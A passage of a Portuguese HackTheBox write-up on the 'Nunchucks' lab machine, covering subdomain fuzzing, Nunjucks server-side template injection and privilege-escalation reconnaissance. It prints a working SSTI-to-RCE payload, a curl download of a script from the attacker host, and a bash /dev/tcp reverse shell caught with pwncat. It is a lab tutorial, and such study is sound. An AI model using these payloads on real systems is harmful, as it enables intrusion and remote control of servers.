&lt;p&gt;Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.&lt;/p&gt;

&lt;p&gt;Vamos utilizar o gobuster para buscar subdomínios:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="nx"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;/home/&lt;/span&gt;&lt;span class="nx"&gt;kali&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;nunchucks&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─#&lt;/span&gt; &lt;span class="nx"&gt;wfuzz&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;H&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Host: FUZZ.nunchucks.htb&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;wordlists&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;dirbuster&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;directory&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;lowercase&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2.3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;medium&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;hh&lt;/span&gt; &lt;span class="mi"&gt;30587&lt;/span&gt; &lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//nunchucks.htb&lt;/span&gt;
&lt;span class="o"&gt;********************************************************&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;Wfuzz&lt;/span&gt; &lt;span class="mf"&gt;3.1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;The&lt;/span&gt; &lt;span class="nx"&gt;Web&lt;/span&gt; &lt;span class="nx"&gt;Fuzzer&lt;/span&gt;                         &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;********************************************************&lt;/span&gt;
&lt;span class="nx"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//nunchucks.htb/&lt;/span&gt;
&lt;span class="nx"&gt;Total&lt;/span&gt; &lt;span class="nx"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;207630&lt;/span&gt;
&lt;span class="o"&gt;=====================================================================&lt;/span&gt;
&lt;span class="nx"&gt;ID&lt;/span&gt;           &lt;span class="nx"&gt;Response&lt;/span&gt;   &lt;span class="nx"&gt;Lines&lt;/span&gt;    &lt;span class="nx"&gt;Word&lt;/span&gt;       &lt;span class="nx"&gt;Chars&lt;/span&gt;       &lt;span class="nx"&gt;Payload&lt;/span&gt;                                                                                 
&lt;span class="o"&gt;=====================================================================&lt;/span&gt;
&lt;span class="mi"&gt;000000193&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;200&lt;/span&gt;        &lt;span class="mi"&gt;101&lt;/span&gt; &lt;span class="nx"&gt;L&lt;/span&gt;    &lt;span class="mi"&gt;259&lt;/span&gt; &lt;span class="nx"&gt;W&lt;/span&gt;      &lt;span class="mi"&gt;4028&lt;/span&gt; &lt;span class="nx"&gt;Ch&lt;/span&gt;     &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;store&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Localizamos o subdomínio &lt;strong&gt;store.nunchucks.htb,&lt;/strong&gt; vamos adicionar em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt; também. O novo subdomínio possui o seguinte conteúdo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0vcc39hmcqaomxwxrwte.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0vcc39hmcqaomxwxrwte.png" alt="store.nunchucks.htb" width="800" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a &lt;strong&gt;SSTI&lt;/strong&gt; (&lt;strong&gt;Server Side Template Injection&lt;/strong&gt;):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61c8lh0u29nf29gkjz6d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61c8lh0u29nf29gkjz6d.png" alt="Payload aceito" width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para &lt;strong&gt;SSTI&lt;/strong&gt; buscando execução de comandos.&lt;/p&gt;

&lt;p&gt;No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.&lt;/p&gt;

&lt;p&gt;Analisando as requisições e respostas através do burp suite encontramos o header &lt;strong&gt;X-Powered-By: Express&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://expressjs.com/en/resources/template-engines.html" rel="noopener noreferrer"&gt;Template Engines&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/mozilla/nunjucks" rel="noopener noreferrer"&gt;https://github.com/mozilla/nunjucks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.&lt;/p&gt;

&lt;p&gt;Conseguimos com a seguinte requisição:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8081
Serving HTTP on 0.0.0.0 port 8081 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:8081/&lt;span class="o"&gt;)&lt;/span&gt; ...
10.129.95.252 - - &lt;span class="o"&gt;[&lt;/span&gt;28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - &lt;span class="o"&gt;[&lt;/span&gt;28/Jan/2024 07:54:40] &lt;span class="s2"&gt;"GET /test123 HTTP/1.1"&lt;/span&gt; 404 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.&lt;/p&gt;

&lt;p&gt;Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.&lt;/p&gt;

&lt;p&gt;Iremos criar o arquivo chamado &lt;a href="http://rev.sh" rel="noopener noreferrer"&gt;rev.sh&lt;/a&gt; com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/10.10.14.128/9001 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para realizar o download basta alterarmos nosso payload da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;:&lt;span class="s2"&gt;"{{range.constructor("&lt;/span&gt;&lt;span class="k"&gt;return &lt;/span&gt;global.process.mainModule.require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'child_process'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.execSync&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;")()}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8081
Serving HTTP on 0.0.0.0 port 8081 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:8081/&lt;span class="o"&gt;)&lt;/span&gt; ...
10.129.95.252 - - &lt;span class="o"&gt;[&lt;/span&gt;28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - &lt;span class="o"&gt;[&lt;/span&gt;28/Jan/2024 07:54:40] &lt;span class="s2"&gt;"GET /test123 HTTP/1.1"&lt;/span&gt; 404 -
10.129.95.252 - - &lt;span class="o"&gt;[&lt;/span&gt;28/Jan/2024 07:57:52] &lt;span class="s2"&gt;"GET /rev.sh HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001        
&lt;span class="o"&gt;[&lt;/span&gt;07:55:13] Welcome to pwncat 🐈!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;:&lt;span class="s2"&gt;"{{range.constructor("&lt;/span&gt;&lt;span class="k"&gt;return &lt;/span&gt;global.process.mainModule.require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'child_process'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.execSync&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'bash /tmp/rev.sh'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;")()}}"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001        
&lt;span class="o"&gt;[&lt;/span&gt;07:55:13] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;07:58:30] received connection from 10.129.95.252:60400                                                                                        bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;07:58:37] 10.129.95.252:60400: registered new host w/ db                                                                                  manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                                                         
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; david@nunchucks:/var/www/store.nunchucks&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguindo assim a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; david@nunchucks:/var/www/store.nunchucks&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; /home/
total 12K
drwxr-xr-x  3 root  root  4.0K Aug 28  2021 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 19 root  root  4.0K Oct 28  2021 ..
drwxr-xr-x  7 david david 4.0K Oct 22  2021 david
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; david@nunchucks:/var/www/store.nunchucks&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22  2021 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root  root  4.0K Aug 28  2021 ..
lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 david david  220 Feb 25  2020 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 david david 3.7K Feb 25  2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25  2021 .cache
drwx------ 8 david david 4.0K Sep 25  2021 .config
drwx------ 3 david david 4.0K Sep 25  2021 .gnupg
drwx------ 3 david david 4.0K Sep 25  2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 david david  807 Feb 25  2020 .profile
&lt;span class="nt"&gt;-r--r-----&lt;/span&gt; 1 root  david   33 Jan 27 15:28 user.txt
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 david david 5.0K Oct 22  2021 .viminfo
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; david@nunchucks:/var/www/store.nunchucks&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/david/user.txt 
329cc9dd22d4499ac9302bb6a4ff8bab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h3&gt;

&lt;p&gt;Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.&lt;/p&gt;

&lt;p&gt;O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.&lt;/p&gt;

&lt;p&gt;Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 838 Sep  1  2021 /opt/backup.pl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;É um script feito em perl que possui o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/perl&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;strict&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;POSIX&lt;/span&gt; &lt;span class="sx"&gt;qw(strftime)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;DBI&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;POSIX&lt;/span&gt; &lt;span class="sx"&gt;qw(setuid)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="nn"&gt;POSIX::&lt;/span&gt;&lt;span class="nv"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 

&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$tmpdir&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/tmp&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$backup_main&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/var/www&lt;/span&gt;&lt;span class="p"&gt;';&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;%Y-%m-%d-%s&lt;/span&gt;&lt;span class="p"&gt;",&lt;/span&gt; &lt;span class="nb"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$tmpbdir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$tmpdir&lt;/span&gt;&lt;span class="s2"&gt;/backup_&lt;/span&gt;&lt;span class="si"&gt;$now&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;

&lt;span class="k"&gt;sub &lt;/span&gt;&lt;span class="nf"&gt;printlog&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[&lt;/span&gt;&lt;span class="p"&gt;",&lt;/span&gt; &lt;span class="nv"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;%D %T&lt;/span&gt;&lt;span class="p"&gt;",&lt;/span&gt; &lt;span class="nb"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;] &lt;/span&gt;&lt;span class="si"&gt;$_&lt;/span&gt;&lt;span class="s2"&gt;[0]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;sub &lt;/span&gt;&lt;span class="nf"&gt;archive&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Archiving...&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
    &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;/usr/bin/tar -zcf &lt;/span&gt;&lt;span class="si"&gt;$tmpbdir&lt;/span&gt;&lt;span class="s2"&gt;/backup_&lt;/span&gt;&lt;span class="si"&gt;$now&lt;/span&gt;&lt;span class="s2"&gt;.tar &lt;/span&gt;&lt;span class="si"&gt;$backup_main&lt;/span&gt;&lt;span class="s2"&gt;/* 2&amp;gt;/dev/null&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;
    &lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Backup complete in &lt;/span&gt;&lt;span class="si"&gt;$tmpbdir&lt;/span&gt;&lt;span class="s2"&gt;/backup_&lt;/span&gt;&lt;span class="si"&gt;$now&lt;/span&gt;&lt;span class="s2"&gt;.tar&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vg"&gt;$&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;die&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You must run this script as root.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Backup starts.&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$tmpbdir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;&amp;amp;archive&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Moving &lt;/span&gt;&lt;span class="si"&gt;$tmpbdir&lt;/span&gt;&lt;span class="s2"&gt;/backup_&lt;/span&gt;&lt;span class="si"&gt;$now&lt;/span&gt;&lt;span class="s2"&gt; to /opt/web_backups&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;/usr/bin/mv &lt;/span&gt;&lt;span class="si"&gt;$tmpbdir&lt;/span&gt;&lt;span class="s2"&gt;/backup_&lt;/span&gt;&lt;span class="si"&gt;$now&lt;/span&gt;&lt;span class="s2"&gt;.tar /opt/web_backups/&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;
&lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Removing temporary directory&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;span class="nb"&gt;rmdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$tmpbdir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;printlog&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Completed&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O script realiza o backup de &lt;strong&gt;/var/www&lt;/strong&gt; e salva o arquivo compactado em /opt/web_backups/.&lt;/p&gt;

&lt;p&gt;Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.&lt;/p&gt;

&lt;p&gt;Outro ponto, que é o mais importante do output do linpeas é o seguinte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
